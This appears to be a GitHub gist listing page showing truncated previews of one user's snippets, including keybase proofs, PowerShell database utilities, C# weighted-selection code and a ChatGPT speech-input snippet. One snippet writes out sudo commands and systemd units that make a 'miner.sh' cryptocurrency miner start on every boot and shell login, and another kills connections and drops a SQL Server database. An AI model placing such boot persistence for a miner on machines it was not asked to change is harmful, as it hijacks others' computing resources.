I hereby claim:
- I am jetstreamin on github.
- I am dysk0n3kt (https://keybase.io/dysk0n3kt) on keybase.
- I have a public key ASAx8H2rgt-74CDv7SGAuwcWvbA67ooI0WNLhIl6_UHMPwo
To claim this, I am signing this object:
sudo cp /usr/local/shared_data/miner.sh /etc/init.d/ && sudo chmod +x /etc/init.d/miner.sh && sudo chkconfig --add miner.sh && sudo chkconfig miner.sh on && echo "gnome-terminal --command '/usr/local/shared_data/miner.sh'" >> ~/.bashrc | |
sudo sh -c 'echo "[Unit]\nDescription=Run Miner Script on Boot\n\n[Timer]\nOnBootSec=10s\nUnit=miner.service\n\n[Install]\nWantedBy=multi-user.target" > /etc/systemd/system/miner.timer' && sudo sh -c 'echo "[Unit]\nDescription=Miner Script\n\n[Service]\nExecStart=/usr/local/shared_data/miner.sh\n\n[Install]\nWantedBy=multi-user.target" > /etc/systemd/system/miner.service' && sudo systemctl daemon-reload && sudo systemctl enable miner.timer && sudo systemctl start miner.timer |
///////////////////////////////////////////////////////// | |
// Open AI - Conversant GPT //// | |
// --------------------------------------------------//// | |
// FILE NAME: openai-conversational-gpt.js | |
// | |
// DESCRIPTION: Snippet to help a user to converse rather | |
// than type for data entry with chatgpt without the need | |
// of an api key. 2 things, this doesn't require an API key and this is alpha so... there is that. | |
// This is a snippet for chrome. Haven't tested it in Edge yet but it works in a really alpha version way as a POC. It uses webkit for both speech synthesis and speech recognition. | |
// |
I hereby claim:
To claim this, I am signing this object:
Picking the right architecture = Picking the right battles + Managing trade-offs
Import-Module SQLPS | |
$server = New-Object Microsoft.SqlServer.Management.Smo.Server("localhost") | |
$db = $server.databases["YOURDBNAME"] | |
if ($db) { | |
$server.KillAllprocesses("YOURDBNAME") | |
$db.Drop() | |
} |
/// <summary> | |
/// Selects a random element from input list using the weights on T to sway selection. | |
/// T must have a Weight property on it. | |
/// </summary> | |
public T SelectRandom<T>(List<T> objects) | |
{ | |
int totalWeight = 0; | |
T selected = default(T); | |
foreach (T obj in objects) | |
{ |
/// <summary> | |
/// Selects a random element from input list using the allocations remaining to sway selection | |
/// T must have AllocationRemaining, Weight and Id properties on it. | |
/// </summary> | |
public T SelectRandom<T>(List<T> objects) | |
{ | |
int totalWeight = 0; | |
T selected = default(T); | |
foreach (T obj in objects) | |
{ |
function Delete-SqlDatabase($serverName, $databaseName) { | |
Import-Module SQLPS | |
$server = New-Object Microsoft.SqlServer.Management.Smo.Server($serverName) | |
$db = $server.databases[$databaseName] | |
if ($db) { | |
$server.KillAllprocesses($databaseName) | |
$db.Drop() | |
} | |
} |
Inbox from the Trump campaign: "America is under attack – not just by an invisible virus, but by the Chinese." | |
"What is Joe Biden up to as all this is happening? Siding with the Chinese and attacking the presidential candidate China fears most: Donald Trump." |
# This script is intentionally kept simple to demonstrate basic automation techniques. | |
Write-Output "You must run this script in an elevated command shell, using 'Run as Administator'" | |
$title = "Setup Web Development Environment" | |
$message = "Select the appropriate option to continue (Absolutely NO WARRANTIES or GUARANTEES are provided):" | |
$yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Install Software using Chocolatey", ` | |
"Setup development environment." |